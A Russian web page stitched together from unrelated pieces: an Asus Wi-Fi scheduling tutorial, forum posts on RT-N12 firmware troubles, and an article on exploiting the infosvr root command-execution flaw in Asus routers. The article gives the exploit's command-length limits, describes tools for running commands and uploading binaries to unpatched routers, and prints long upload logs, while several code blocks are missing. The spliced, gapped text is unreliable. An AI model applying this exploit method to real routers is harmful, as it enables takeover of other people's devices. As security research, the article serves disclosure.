Расписание работы Wi-Fi на роутере Asus. Автоматическое выключение Wi-Fi на ночь
На роутерах компании Asus, есть возможность настроить работу Wi-Fi сети по расписанию. Очень полезная функция, которой я сам пользуюсь. Эта функция позволяет задать время, когда Wi-Fi модуль будет работать, а когда нет. Мы можем настроить работу Wi-Fi по дням, и по часам. Самое распространенное применение, этот отключение Wi-Fi на ночь. Этой функцией я и пользуюсь. У меня настроено автоматическое выключение Wi-Fi в 12 часов ночи, и автоматическое включение раздачи Wi-Fi в 6 часов утра. Такие настройки стоят на все дни недели.
Часто спрашивают, нужно ли отключать Wi-Fi на ночь. В плане влияния на здоровья. Я считаю так: если есть желание, и роутер поддерживает выключение/включение радиомодуля по расписанию, то почему бы не настроить. Тем более, если у вас ночью никто не пользуется интернетом по беспроводной сети. А если специально перед сном отключать беспроводной модуль, или сам роутер, то считаю что это лишнее. Хотя, решать вам.
Из минусов такого отключения, это если вам вдруг ночью (когда сеть будет отключена роутером) понадобится Wi-Fi, то придется подключаться к роутеру по кабелю, заходить в настройки, и менять расписание. У меня раз был случай, когда пришлось подключить ночью новое устройство, а Wi-Fi сети просто не было. Посмотрел, роутер включен. Перезагрузил, Wi-Fi на минуту появился и пропал. Что я уже только не делал, пока не вспомнил, что у меня он по расписанию после 12 ночи отключается.
Автоматическое выключение и включение Wi-Fi на роутере Asus (по времени)
В роутерах Asus, эта функция называется «Беспроводной планировщик». Вот его мы и будем настраивать.
Кстати, на этой вкладке, мы можем назначить для кнопки WPS на роутере Asus другую функцию – выключение и включение Wi-Fi сети. Достаточно установить переключатель возле Вкл./Выкл. Wi-Fi и применить настройки. После этого, вы сами сможете отключать и включать беспроводную сеть кнопкой на роутере. Если вы не пользуетесь функцией WPS.
Здесь все очень просто. Есть таблица с временем и днями. И мы прямо на этой таблице выделяем время, когда Wi-Fi сеть будет отключена. Можно выделять ячейки и снимать выделение. Сверху есть разъяснение: Allow – Wi-Fi включен. Deny – беспроводная сеть отключена. Выделяем нужные ячейки, и нажимаем кнопку Ok. Настройка отключения беспроводного модуля с 12 ночи до 6 утра, на все дни будет выглядеть так:
Нажимаем на кнопку Применить, и все готово. Настройка закончена.
После этих настроек, роутер сам, в заданное время полностью отключит беспроводную сеть. И включит ее в заданное в настройках время. Думаю, вы найдете полезное для себя применение этой функции. Если остались какие-то вопросы, то спрашивайте в комментариях.
[Модели RT-N12 B1, C1, D1, VP, HP и HP B1 аппаратно одинаковые. Используйте утилиту восстановления для установки прошивки не своей ревизии]
Используйте утилиту восстановления для установки кастомных прошивок
Для RT-N12 [A1], B1, C1, D1, VP, HP и HP B1 :
Доброго времени суток! Имеется роутер Asus RT-N12 rev.D1,собранный на Броадком ВСМ53572 Есть стоковая прошивка,есть прошивка DD-WRT для сабжа С-ревизии,есть прошивки Томато с поддержкой USB и без нее.На сабже USB нет.
Преследую несколько целей-возможность просмотра IP-TV на ноутбуке через WiFi,на телевизоре с помощью STB-приставки и на телевизоре напрямую посредством DLNA.Ну и естественно доступ к интернету и локальным ресурсам.
Роутер подключается к локальной сети с выходом в Интернет с помощью РРТР-соединения.
На стоковой прошивке есть и Dual Access и возможность выделить порт для приставки и IGMP.Одновременно работают и приставки и ТВ на ноуте через WiFi+ одновременно запущен онлайн-кинозал так же через WiFi.Без проблем.Но DLNA нет.
Поиск показал,что для этого необходимо перепрошить роутер альтернативной прошивкой.Но есть проблема-необходимо поставить потом DLNA-сервер и разобраться с Dual Access.
Инструкции скудны требуют погружения в консоль или рассчитаны на устройства с USB.Как поступить?Помогите,пожалуйста,мозг кипи уже,неделю мучаю.
EnergetikGSV, В твоем случае только если Подключение 4G модема и WIFI роутера без USB порта
На роутере Asus RT-N12e, прошивка 2.0.0.37, постоянно дисконнектит в WoT. Без него такого нет. В саппорте Асус пишут, что роутер слабый, его железо не тянет и из за этого проблемы. Что можно сделать с этим куском пластика, что бы дисконнектов не было? Или что можно ответить службе поддержки?
Вчера прошивал её, всё равно скорость режет. по этой инструкции
ps ставил прошивки от D1, все равно режет скорость. смотрел на загрузку проца, когда 55 мб, то проц грузиться на полную катушку 100%, сделал вывод, что дело не в прошивках, а железе. Просто не тянет этот роутер 100 мегабитку.
делаем статический ip WAN, узнаем шлюз своего провайдера и вписываем свой!
Проблема именно в прошивке. В ченжлоге версии 2.0.0.25 было написано, что данную проблему пофиксили, но на деле нет. Так и кочует данная проблема от версии к версии. У меня симптомы точь в точь. Подключился к новому провайдеру и проблема проявилась. Происходят разрывы соединения именно в момент продления аренды IP адреса на коммутаторе провайдера. Обрывы происходят ровно каждые 5 минут. Мой провайдер выдает аренду IP адреса на 10 минут, каждые 5 минут происходит продление, в случае, если оборудование на стороне абонента активное. Именно на 5 минуте и происходит обрыв. У моего прошлого провайдера аренда выдавалась на 12 часов, поэтому проблема не была столь заметной и критичной. Теряются всего 4 пакета, но для онлайн игр и скайпа этого достаточно. Что я только не делал: ставил перед роутером неуправляемый свитч, выкл. встроенный брандмауэр, все 5 прошивок с оф. сайта перепробовал. Ничего не помогло. Зато в более старой прошивке (1.1.0.15-224) этого бага нет, но эта прошивка тестовая и имеет много багов. Сейчас бодаюсь с саппортом Асуса, пока молчат (вот уже 10 дней), но после моего письма с оф. сайта были убраны 3 прошивки, оставили только последние 2. п.с. роутер TP-Link в тех же условиях работает безукоризненно.
В начале 2015 года компания Asus исправила критичнейшую уязвимость в своих роутерах. «Дыра» была в службе по имени infosvr, использующейся утилитами Asus для облегчения настройки роутера путём его автоматического обнаружения в локальной сети. Уязвимость позволяла выполнять любые команды с правами root (ведь infosvr тоже root), что давало злоумышленнику полный контроль над системой.
Но Asus выпустила исправленные прошивки. Теперь это всё в прошлом. Или нет? Хм… А как часто обыватели обновляют прошивки на своих роутерах?
Прошу под кат за подробностями, историей обнаружения, исследованиями, инструкциями и… эксплоитами.
В чём дело?
После успешной «аутентификации» команда из пакета будет выполнена:
А теперь, хотите квест?
История обнаружения
Позже я узнал, что можно было вот так:
Не буду тут много рассказывать насколько это дерьмовый роутер. Кто сталкивался — знает. А для счастливчиков, кому не приходилось с ним возиться скажу, что роутеры Asus RT-xxxE (или RT-xxxLX) имеют процессор от Realtek, под который нет альтернативных прошивок! Хотя сообщество пытается. На официальных же прошивках я пару лет назад пользовался PPTP. Постоянные зависания, разрывы и прочие радости. PPPoE по началу вообще не поднимался (в какой-то прошивке исправили). Сейчас этот роутер работает просто как мост между WiFi и Ethernet.
Различие Asus RT-N10E и Asus RT-N10LX По сути, это один и тот же роутер, Asus RT-N10LX имеет антенну на 2 dBi, RT-N10E – 5 dBi. В спецификациях к RT-N10LX указано дополнительно IEEE 802.11d – по сути, означает только то, что роутер учитывает региональные правовые ограничения в сфере связи, в связи с чем, используется более слабая антенна. Лично мне попался экземпляр (2012 года сборки) с малой антенной на 2 dBi, при этом вся маркировка на роутере и коробке говорит о том, что это RT-N10E, а не RT-N10LX. Если внимательно посмотреть информацию на официальном сайте, там это указано: «Antenna type will differ according to local regulations and requirement in each country» а также «This model sells only in EU, China, and South America». Как говорится, те же яйца, только в профиль. Прошивка в этих двух моделях одна и та же.
Различие Asus RT-N10E/LX и RT-N12E/LX В 12-й модели тот же процессор, но другой контроллер – RTL8192CE, который позволяет использовать 2 MIMO, обеспечивая теоретически до 300 Мбит/сек. Отличие версий RT-N12E и RT-N12LX – в антеннах.
Различие Asus RT-N10E/LX и Asus RT-N10 У ASUS также есть роутеры RT-N10 и RT-N12. И тут важно понимать, это другие устройства, которые собраны на базе чипов Broadcom. Для RT-N10 и RT-N12 есть альтернативные прошивки энтузиастов, в том числе «от Олега». Будьте внимательны при покупке!
Итак, подключились к UARTу.
####return_addr: 0x05010000, root_bin_offset: 0x050dd012 Jump to image start=0x80500000… decompressing kernel: Uncompressing Linux… done, booting the kernel. done decompressing kernel. start address: 0x80003600 RTL8192C/RTL8188C driver version 1.6 (2011-07-18)
Probing RTL8186 10/100 NIC-kenel stack size order[2]… chip name: 8196C, chip revid: 4 NOT YET eth0 added. vid=9 Member port 0x10… eth1 added. vid=8 Member port 0x1… eth2 added. vid=9 Member port 0x2… eth3 added. vid=9 Member port 0x4… eth4 added. vid=9 Member port 0x8… [peth0] added, mapping to [eth1]… init started: BusyBox v1.13.4 (2014-09-18 18:01:50 CST)
##flash.c free apmib ## Init Start…
##system/sysconf.c free apmib ##
##flash.c free apmib ## ===== Set parameter for BSMI test===== Init bridge interface… syslog will use 64KB for log(7 rotate, 1 original, 8KB for each) Init Wlan application…
##flash.c free apmib ## Init Firewall Rules… No wan ip currently! Init WAN Interface… start_wan: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1 set_dhcp_client: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1 start_wan_dhcp_client: iface eth1 No such process
После окончания загрузки я начал исследовать систему: версии ПО, железо и другую информацию, которую можно добыть при помощи консоли. Но об этом позже.
Интересно посмотреть реакцию на стандартные действия пользователя, как-то: нажатие на кнопку WPS, настройка через веб-морду, использование Asus Utility… Действительно, на консоли появлялась соответствующая информация. Отдельно стоит упомянуть такой факт: при попытке открыть веб-интерфейс httpd (предположительно) пишет в /dev/console (/dev/ttyS0) логин и пароль для входа!
Правда, на телнет (/dev/ttyp0) это не попадает.
Из всего пакета Asus Utility (Device Discovery, Router Setup Wizard и Firmware Restoration) реакцию консоли вызвал только Router Setup Wizard. А именно: при запуске приложения и нажатии на кнопку «Далее» появляются такие строки:
system cmd: 17 nvram get sw_mode rund: echo 1 > /tmp/syscmd.out 2 1
system cmd: 17 nvram get sw_mode rund: echo 1 > /tmp/syscmd.out 2 1
system cmd: 17 nvram get sw_mode rund: echo 1 > /tmp/syscmd.out 2 1
system cmd: 17 nvram get sw_mode rund: echo 1 > /tmp/syscmd.out 2 1
system cmd: 19 nvram get x_Setting sh: nvram: not found rund: nvram get x_Setting > /tmp/syscmd.out 0 1
system cmd: 19 nvram get x_Setting sh: nvram: not found rund: nvram get x_Setting > /tmp/syscmd.out 0 1
system cmd: 19 nvram get x_Setting sh: nvram: not found rund: nvram get x_Setting > /tmp/syscmd.out 0 1
system cmd: 19 nvram get x_Setting sh: nvram: not found rund: nvram get x_Setting > /tmp/syscmd.out 0 1
Хм… Эти команды Router Setup Wizard передаёт? Посмотрел через Wireshark — да, эти команды передаются в UDP пакетах с RSW. А что если их заменить на свои?
Оказывается, я не первый
Перед тем, как начать ковыряться в пакетах, я решил погуглить. И нагуглил кое-что (раз и два). По второй ссылке подробное описание уязвимости и простой эксплоит под Линукс (есть и на python-е).
Велосипед AsusCmd
Мне хотелось бы иметь такую программку под Windows, поскольку Я 95% времени пользуюсь именно ей. Не хочется ради выполнения какой-то команды загружать виртуальную машину с Ubuntu.
Размеры
В процессе написания и отладки эксплоита, а также копания в исходниках infosvr выяснились «параметры» этой «дыры». А именно её размеры. Они такие: Размеры буферов приёма и отправки — по 420 байт. И всё бы неплохо, но реально 420 байт роутер может только отправить в ответе. А вот с приёмом дела ещё хуже. Дело в том, что после приёма команды infosvr обрезает её до 256 символов и только потом — исполняет. Но и это ещё не последнее ограничение. При выполнении команды длиной чуть менее 256 символов infosvr падает с грохотом segmentation fault. Команда выполнена, но ни ответа уже не будет, ни возможности исполнить ещё что-то. Опытным путём была найдена предельная безопасная длина пользовательской команды. Это 238 символов. Итак, размеры «дыры»: 238 — команда, 420 — ответ.
Кстати, зачем нужно перенаправление в /tmp/syscmd.out? А затем, что именно с него потом считывается в буфер 420 байт и отправляется ответ на команду.
«Предельная безопасная длина» относится именно к пользовательской команде.
Т.е. при длине пользовательской команды 238 символов длина полной команды будет 238+18=256. Может именно падения infosvr хотели избежать разработчики, когда обрезали команду до 256 символов? Похоже они не учли strlen(» > /tmp/syscmd.out»).
Експлоит написан и отлажен. Можно пользоваться.
Учтите, что после выполнения этой команды будет также убит sh, который связан с /dev/console. Теперь можно снова запускать telnetd.
Отлично. Тема исчерпана? Как-бы не так.
Продолжение банкета
Итак, мы можем пользоваться всеми доступными командами. Можем создавать и удалять файлы в каталогах, доступных для записи (ramfs /var). Можно записать несколькими командами длинный текстовый файл. Но не только текстовый! Ведь echo в Linux-е умеет преобразовывать текст в двоичные данные! Это значит, что мы можем заливать на роутер свои программы, которых нам не хватает!
AsusBinWrite
С ограничением на полезную длину команды всё понятно: просто придётся больше пакетов отправить. Плохо в этом случае то, что страдает скорость передачи. Ведь процессору роутера приходится обрабатывать много мелких пакетов. Т.е. скорость передачи прямо пропорциональна скорости процессора роутера. (Проверено с помощью cpuload: во время работы AsusBinWrite CPU роутера грузится на 100%).
С UDP посложнее. Надо как-то контролировать правильность передачи. Примитивный способ — просто дописывать очередные байты в конец файла — не подходит. Стоит одному пакету на пути к роутеру потеряться или продублироваться — и файл уже бракован. Поэтому принято решение сначала записывать отдельные части в разные файлы и проверять их содержимое. А в потом их можно объединить. И ещё: объединять следует не в самом конце, а через какое-то количество переданных частей. Потому, что одна часть занимает места в памяти не, скажем, 40 байт (размер файла-части), а все 4 КБ (страница). А если частей тысячи? Никакой оперативки не хватит (На RT-N10E её лишь 16MB). После успешного объединения (успешность тоже проверяется по признаку увеличения размера целевого файла на роутере) эти части удаляются. Вот так в цикле передаём весь файл до конца. Получился такой-себе протокол надёжной передачи файлов на роутер посредством UDP.
Пример передачи исполняемого файла
Чтобы лучше понять алгоритм работы предлагаю посмотреть, что происходит на /dev/console (/dev/ttyS0) во время передачи файла и сопоставить это с выводом самого AsusBinWrite.
Start uploading file to 255.255.255.255… Source file: ‘Useful\ldd’ Target file: ‘/var/ldd’ 0.5% 742.4 Bps part 1 (49 B; cmd: 237 ch) 192.168.1.1: OK 1.0% 106.5 Bps part 2 (49 B; cmd: 237 ch) LOST 1.0% 32.7 Bps part 2 (49 B; cmd: 237 ch) 192.168.1.1: OK 1.5% 347.5 Bps part 3 (49 B; cmd: 237 ch) 192.168.1.1: OK 1.9% 159.1 Bps part 4 (49 B; cmd: 237 ch) שש192.168.1.1: OK 2.4% 150.3 Bps part 5 (49 B; cmd: 237 ch) ששLOST 2.4% 32.2 Bps part 5 (49 B; cmd: 237 ch) 192.168.1.1: OK 2.9% 376.9 Bps part 6 (49 B; cmd: 237 ch) שLOST 2.9% 32.6 Bps part 6 (49 B; cmd: 237 ch) 192.168.1.1: OK 3.4% 401.6 Bps part 7 (49 B; cmd: 237 ch) ש192.168.1.1: OK 3.9% 146.3 Bps part 8 (49 B; cmd: 237 ch) 192.168.1.1: OK 4.4% 102.3 Bps part 9 (49 B; cmd: 237 ch) ש192.168.1.1: OK 4.8% 150.0 Bps part 10 (48 B; cmd: 235 ch) 192.168.1.1: OK 5.3% 176.5 Bps part 11 (48 B; cmd: 235 ch) 192.168.1.1: OK 5.8% 120.9 Bps part 12 (48 B; cmd: 235 ch) שש192.168.1.1: OK 6.3% 145.5 Bps part 13 (48 B; cmd: 235 ch) 192.168.1.1: OK 6.8% 144.6 Bps part 14 (48 B; cmd: 235 ch) שLOST 6.8% 31.7 Bps part 14 (48 B; cmd: 235 ch) 192.168.1.1: OK 7.2% 285.7 Bps part 15 (48 B; cmd: 235 ch) 192.168.1.1: OK 7.7% 147.7 Bps part 16 (48 B; cmd: 235 ch) LOST 7.7% 32.0 Bps part 16 (48 B; cmd: 235 ch) 192.168.1.1: OK 8.2% 333.3 Bps part 17 (48 B; cmd: 235 ch) ש192.168.1.1: OK 8.7% 146.3 Bps part 18 (48 B; cmd: 235 ch) ש192.168.1.1: OK 9.1% 148.1 Bps part 19 (48 B; cmd: 235 ch) ש192.168.1.1: OK 9.6% 141.6 Bps part 20 (48 B; cmd: 235 ch) שש192.168.1.1: OK 10.1% 145.0 Bps part 21 (48 B; cmd: 235 ch) 192.168.1.1: OK 10.6% 145.5 Bps part 22 (48 B; cmd: 235 ch) ש192.168.1.1: OK 11.0% 148.1 Bps part 23 (48 B; cmd: 235 ch) שש192.168.1.1: OK 11.5% 145.9 Bps part 24 (48 B; cmd: 235 ch) ש192.168.1.1: OK 12.0% 137.5 Bps part 25 (48 B; cmd: 235 ch) 192.168.1.1: OK 12.5% 146.3 Bps part 26 (48 B; cmd: 235 ch) 192.168.1.1: OK 12.9% 151.9 Bps part 27 (48 B; cmd: 235 ch) שש192.168.1.1: OK 13.4% 172.0 Bps part 28 (48 B; cmd: 235 ch) ש192.168.1.1: OK 13.9% 126.0 Bps part 29 (48 B; cmd: 235 ch) שש192.168.1.1: OK 14.4% 173.3 Bps part 30 (48 B; cmd: 235 ch) שLOST 14.4% 31.7 Bps part 30 (48 B; cmd: 235 ch) 192.168.1.1: OK 14.8% 358.2 Bps part 31 (48 B; cmd: 235 ch) ש192.168.1.1: OK 15.3% 144.6 Bps part 32 (48 B; cmd: 235 ch) ש192.168.1.1: OK 15.8% 149.5 Bps part 33 (48 B; cmd: 235 ch) שש192.168.1.1: OK 16.3% 137.1 Bps part 34 (48 B; cmd: 235 ch) ש192.168.1.1: OK 16.7% 153.8 Bps part 35 (48 B; cmd: 235 ch) ש192.168.1.1: OK 17.2% 138.7 Bps part 36 (48 B; cmd: 235 ch) ש192.168.1.1: OK 17.7% 145.5 Bps part 37 (48 B; cmd: 235 ch) 192.168.1.1: OK 18.2% 140.4 Bps part 38 (48 B; cmd: 235 ch) 192.168.1.1: OK 18.7% 154.3 Bps part 39 (48 B; cmd: 235 ch) LOST 18.7% 32.0 Bps part 39 (48 B; cmd: 235 ch) LOST 18.7% 32.0 Bps part 39 (48 B; cmd: 235 ch) LOST 18.7% 31.6 Bps part 39 (48 B; cmd: 235 ch) 192.168.1.1: OK 19.1% 428.6 Bps part 40 (48 B; cmd: 235 ch) ש192.168.1.1: OK 19.6% 175.2 Bps part 41 (48 B; cmd: 235 ch) ש192.168.1.1: OK 20.1% 120.6 Bps part 42 (48 B; cmd: 235 ch) 192.168.1.1: OK 20.6% 146.3 Bps part 43 (48 B; cmd: 235 ch) ש192.168.1.1: OK 21.0% 150.0 Bps part 44 (48 B; cmd: 235 ch) שש192.168.1.1: OK 21.5% 145.0 Bps part 45 (48 B; cmd: 235 ch) ששLOST 21.5% 31.0 Bps part 45 (48 B; cmd: 235 ch) 192.168.1.1: OK 22.0% 363.6 Bps part 46 (48 B; cmd: 235 ch) ש192.168.1.1: OK 22.5% 137.9 Bps part 47 (48 B; cmd: 235 ch) 192.168.1.1: OK 22.9% 154.3 Bps part 48 (48 B; cmd: 235 ch) ש192.168.1.1: OK 23.4% 145.0 Bps part 49 (48 B; cmd: 235 ch) ששLOST 23.4% 31.9 Bps part 49 (48 B; cmd: 235 ch) 192.168.1.1: OK 23.9% 360.9 Bps part 50 (48 B; cmd: 235 ch) ששLOST 23.9% 31.8 Bps part 50 (48 B; cmd: 235 ch) 192.168.1.1: OK 24.4% 345.3 Bps part 51 (48 B; cmd: 235 ch) 192.168.1.1: OK 24.8% 151.4 Bps part 52 (48 B; cmd: 235 ch) שLOST 24.8% 31.6 Bps part 52 (48 B; cmd: 235 ch) 192.168.1.1: OK 25.3% 342.9 Bps part 53 (48 B; cmd: 235 ch) ש192.168.1.1: OK 25.8% 145.0 Bps part 54 (48 B; cmd: 235 ch) שש192.168.1.1: OK 26.3% 151.4 Bps part 55 (48 B; cmd: 235 ch) ש192.168.1.1: OK 26.7% 145.5 Bps part 56 (48 B; cmd: 235 ch) ש192.168.1.1: OK 27.2% 147.7 Bps part 57 (48 B; cmd: 235 ch) ש192.168.1.1: OK 27.7% 143.7 Bps part 58 (48 B; cmd: 235 ch) ש192.168.1.1: OK 28.2% 142.9 Bps part 59 (48 B; cmd: 235 ch) ש192.168.1.1: OK 28.6% 142.9 Bps part 60 (48 B; cmd: 235 ch) ש192.168.1.1: OK 29.1% 149.1 Bps part 61 (48 B; cmd: 235 ch) 192.168.1.1: OK 29.6% 142.4 Bps part 62 (48 B; cmd: 235 ch) ש192.168.1.1: OK 30.1% 142.9 Bps part 63 (48 B; cmd: 235 ch) 192.168.1.1: OK 30.6% 145.9 Bps part 64 (48 B; cmd: 235 ch) ש192.168.1.1: OK 31.0% 148.1 Bps part 65 (48 B; cmd: 235 ch) ש192.168.1.1: OK 31.5% 144.6 Bps part 66 (48 B; cmd: 235 ch) ש192.168.1.1: OK 32.0% 141.2 Bps part 67 (48 B; cmd: 235 ch) ש192.168.1.1: OK 32.5% 142.9 Bps part 68 (48 B; cmd: 235 ch) 192.168.1.1: OK 32.9% 151.4 Bps part 69 (48 B; cmd: 235 ch) ש192.168.1.1: OK 33.4% 143.7 Bps part 70 (48 B; cmd: 235 ch) שש192.168.1.1: OK 33.9% 146.8 Bps part 71 (48 B; cmd: 235 ch) ש192.168.1.1: OK 34.4% 183.9 Bps part 72 (48 B; cmd: 235 ch) 192.168.1.1: OK 34.8% 144.1 Bps part 73 (48 B; cmd: 235 ch) שש192.168.1.1: OK 35.3% 117.1 Bps part 74 (48 B; cmd: 235 ch) ש192.168.1.1: OK 35.8% 144.6 Bps part 75 (48 B; cmd: 235 ch) 192.168.1.1: OK 36.3% 144.6 Bps part 76 (48 B; cmd: 235 ch) 192.168.1.1: OK 36.7% 151.4 Bps part 77 (48 B; cmd: 235 ch) שש192.168.1.1: OK 37.2% 172.0 Bps part 78 (48 B; cmd: 235 ch) 192.168.1.1: OK 37.7% 119.7 Bps part 79 (48 B; cmd: 235 ch) 192.168.1.1: OK 38.2% 143.7 Bps part 80 (48 B; cmd: 235 ch) 192.168.1.1: OK 38.6% 151.9 Bps part 81 (48 B; cmd: 235 ch) שש192.168.1.1: OK 39.1% 143.7 Bps part 82 (48 B; cmd: 235 ch) ש192.168.1.1: OK 39.6% 146.8 Bps part 83 (48 B; cmd: 235 ch) ש192.168.1.1: OK 40.1% 183.9 Bps part 84 (48 B; cmd: 235 ch) שש192.168.1.1: OK 40.5% 117.1 Bps part 85 (48 B; cmd: 235 ch) שש192.168.1.1: OK 41.0% 142.9 Bps part 86 (48 B; cmd: 235 ch) ש192.168.1.1: OK 41.5% 147.2 Bps part 87 (48 B; cmd: 235 ch) שש192.168.1.1: OK 42.0% 179.1 Bps part 88 (48 B; cmd: 235 ch) 192.168.1.1: OK 42.5% 145.5 Bps part 89 (48 B; cmd: 235 ch) שש192.168.1.1: OK 42.9% 136.8 Bps part 90 (48 B; cmd: 235 ch) 192.168.1.1: OK 43.4% 120.0 Bps part 91 (48 B; cmd: 235 ch) 192.168.1.1: OK 43.9% 151.9 Bps part 92 (48 B; cmd: 235 ch) שש192.168.1.1: OK 44.4% 143.3 Bps part 93 (48 B; cmd: 235 ch) ש192.168.1.1: OK 44.8% 146.3 Bps part 94 (48 B; cmd: 235 ch) ש192.168.1.1: OK 45.3% 145.9 Bps part 95 (48 B; cmd: 235 ch) שש192.168.1.1: OK 45.8% 138.7 Bps part 96 (48 B; cmd: 235 ch) 192.168.1.1: OK 46.3% 151.4 Bps part 97 (48 B; cmd: 235 ch) שLOST 46.3% 31.8 Bps part 97 (48 B; cmd: 235 ch) 192.168.1.1: OK 46.7% 436.4 Bps part 98 (48 B; cmd: 235 ch) שש192.168.1.1: OK 47.2% 138.7 Bps part 99 (48 B; cmd: 235 ch) LOST 47.2% 32.0 Bps part 99 (48 B; cmd: 235 ch) 192.168.1.1: OK 47.7% 378.0 Bps part 100 (48 B; cmd: 237 ch) שש192.168.1.1: OK Merging to /var/ldd parts 1..16 (16 pcs; cmd: 228 ch)… OK (777 B) Merging to /var/ldd parts 17..32 (16 pcs; cmd: 238 ch)… OK (1545 B) Merging to /var/ldd parts 33..48 (16 pcs; cmd: 238 ch)… OK (2313 B) Merging to /var/ldd parts 49..64 (16 pcs; cmd: 238 ch)… OK (3081 B) Merging to /var/ldd parts 65..80 (16 pcs; cmd: 238 ch)… OK (3849 B) Merging to /var/ldd parts 81..96 (16 pcs; cmd: 238 ch)… OK (4617 B) Merging to /var/ldd parts 97..100 (4 pcs; cmd: 71 ch)… OK (4809 B) Written 4.70KB/9.85KB 77.0 Bps (avg) Remaining: 01:08 (01:02/02:10)
48.2% 5.2 Bps part 101 (49 B; cmd: 237 ch) 192.168.1.1: OK 48.7% 116.7 Bps part 102 (49 B; cmd: 237 ch) שש192.168.1.1: OK 49.1% 196.8 Bps part 103 (49 B; cmd: 237 ch) LOST 49.1% 32.7 Bps part 103 (49 B; cmd: 237 ch) 192.168.1.1: OK 49.6% 418.8 Bps part 104 (49 B; cmd: 237 ch) שש192.168.1.1: OK 50.1% 138.8 Bps part 105 (49 B; cmd: 237 ch) 192.168.1.1: OK 50.6% 150.8 Bps part 106 (49 B; cmd: 237 ch) 192.168.1.1: OK 51.1% 153.6 Bps part 107 (49 B; cmd: 237 ch) שש192.168.1.1: OK 51.6% 151.7 Bps part 108 (49 B; cmd: 237 ch) ש192.168.1.1: OK 52.1% 142.4 Bps part 109 (49 B; cmd: 237 ch) ש192.168.1.1: OK 52.5% 145.5 Bps part 110 (48 B; cmd: 235 ch) ש192.168.1.1: OK 53.0% 150.9 Bps part 111 (48 B; cmd: 235 ch) שLOST 53.0% 31.7 Bps part 111 (48 B; cmd: 235 ch) 192.168.1.1: OK 53.5% 410.3 Bps part 112 (48 B; cmd: 235 ch) שש192.168.1.1: OK 54.0% 143.3 Bps part 113 (48 B; cmd: 235 ch) ש192.168.1.1: OK 54.4% 144.6 Bps part 114 (48 B; cmd: 235 ch) שש192.168.1.1: OK 54.9% 141.6 Bps part 115 (48 B; cmd: 235 ch) 192.168.1.1: OK 55.4% 150.0 Bps part 116 (48 B; cmd: 235 ch) ש192.168.1.1: OK 55.9% 140.4 Bps part 117 (48 B; cmd: 235 ch) ש192.168.1.1: OK 56.3% 151.9 Bps part 118 (48 B; cmd: 235 ch) ש192.168.1.1: OK 56.8% 142.0 Bps part 119 (48 B; cmd: 235 ch) ש192.168.1.1: OK 57.3% 145.5 Bps part 120 (48 B; cmd: 235 ch) 192.168.1.1: OK 57.8% 140.8 Bps part 121 (48 B; cmd: 235 ch) 192.168.1.1: OK 58.3% 154.3 Bps part 122 (48 B; cmd: 235 ch) ש192.168.1.1: OK 58.7% 144.6 Bps part 123 (48 B; cmd: 235 ch) 192.168.1.1: OK 59.2% 141.2 Bps part 124 (48 B; cmd: 235 ch) 192.168.1.1: OK 59.7% 138.7 Bps part 125 (48 B; cmd: 235 ch) 192.168.1.1: OK 60.2% 151.9 Bps part 126 (48 B; cmd: 235 ch) ש192.168.1.1: OK 60.6% 142.9 Bps part 127 (48 B; cmd: 235 ch) שLOST 60.6% 31.9 Bps part 127 (48 B; cmd: 235 ch) 192.168.1.1: OK 61.1% 378.0 Bps part 128 (48 B; cmd: 235 ch) ש192.168.1.1: OK 61.6% 142.4 Bps part 129 (48 B; cmd: 235 ch) 192.168.1.1: OK 62.1% 150.0 Bps part 130 (48 B; cmd: 235 ch) שש192.168.1.1: OK 62.5% 136.8 Bps part 131 (48 B; cmd: 235 ch) ש192.168.1.1: OK 63.0% 154.3 Bps part 132 (48 B; cmd: 235 ch) 192.168.1.1: OK 63.5% 149.1 Bps part 133 (48 B; cmd: 235 ch) ש192.168.1.1: OK 64.0% 145.9 Bps part 134 (48 B; cmd: 235 ch) שש192.168.1.1: OK 64.4% 142.4 Bps part 135 (48 B; cmd: 235 ch) שש192.168.1.1: OK 64.9% 147.7 Bps part 136 (48 B; cmd: 235 ch) שש192.168.1.1: OK 65.4% 146.8 Bps part 137 (48 B; cmd: 235 ch) ש192.168.1.1: OK 65.9% 142.0 Bps part 138 (48 B; cmd: 235 ch) שש192.168.1.1: OK 66.3% 179.8 Bps part 139 (48 B; cmd: 235 ch) שש192.168.1.1: OK 66.8% 121.2 Bps part 140 (48 B; cmd: 235 ch) שש192.168.1.1: OK 67.3% 182.5 Bps part 141 (48 B; cmd: 235 ch) שש192.168.1.1: OK 67.8% 119.4 Bps part 142 (48 B; cmd: 235 ch) ש192.168.1.1: OK 68.2% 146.3 Bps part 143 (48 B; cmd: 235 ch) ש192.168.1.1: OK 68.7% 145.0 Bps part 144 (48 B; cmd: 235 ch) ש192.168.1.1: OK 69.2% 142.4 Bps part 145 (48 B; cmd: 235 ch) ש192.168.1.1: OK 69.7% 142.9 Bps part 146 (48 B; cmd: 235 ch) 192.168.1.1: OK 70.2% 145.0 Bps part 147 (48 B; cmd: 235 ch) 192.168.1.1: OK 70.6% 142.0 Bps part 148 (48 B; cmd: 235 ch) 192.168.1.1: OK 71.1% 152.9 Bps part 149 (48 B; cmd: 235 ch) ש192.168.1.1: OK 71.6% 177.1 Bps part 150 (48 B; cmd: 235 ch) 192.168.1.1: OK 72.1% 122.8 Bps part 151 (48 B; cmd: 235 ch) שש192.168.1.1: OK 72.5% 143.3 Bps part 152 (48 B; cmd: 235 ch) שש192.168.1.1: OK 73.0% 145.9 Bps part 153 (48 B; cmd: 235 ch) שLOST 73.0% 31.7 Bps part 153 (48 B; cmd: 235 ch) 192.168.1.1: OK 73.5% 432.4 Bps part 154 (48 B; cmd: 235 ch) ש192.168.1.1: OK 74.0% 144.6 Bps part 155 (48 B; cmd: 235 ch) שש192.168.1.1: OK 74.4% 145.5 Bps part 156 (48 B; cmd: 235 ch) ש192.168.1.1: OK 74.9% 182.5 Bps part 157 (48 B; cmd: 235 ch) שש192.168.1.1: OK 75.4% 117.1 Bps part 158 (48 B; cmd: 235 ch) ש192.168.1.1: OK 75.9% 148.6 Bps part 159 (48 B; cmd: 235 ch) שש192.168.1.1: OK 76.3% 183.9 Bps part 160 (48 B; cmd: 235 ch) ש192.168.1.1: OK 76.8% 140.4 Bps part 161 (48 B; cmd: 235 ch) ש192.168.1.1: OK 77.3% 121.2 Bps part 162 (48 B; cmd: 235 ch) 192.168.1.1: OK 77.8% 149.1 Bps part 163 (48 B; cmd: 235 ch) שש192.168.1.1: OK 78.2% 141.6 Bps part 164 (48 B; cmd: 235 ch) 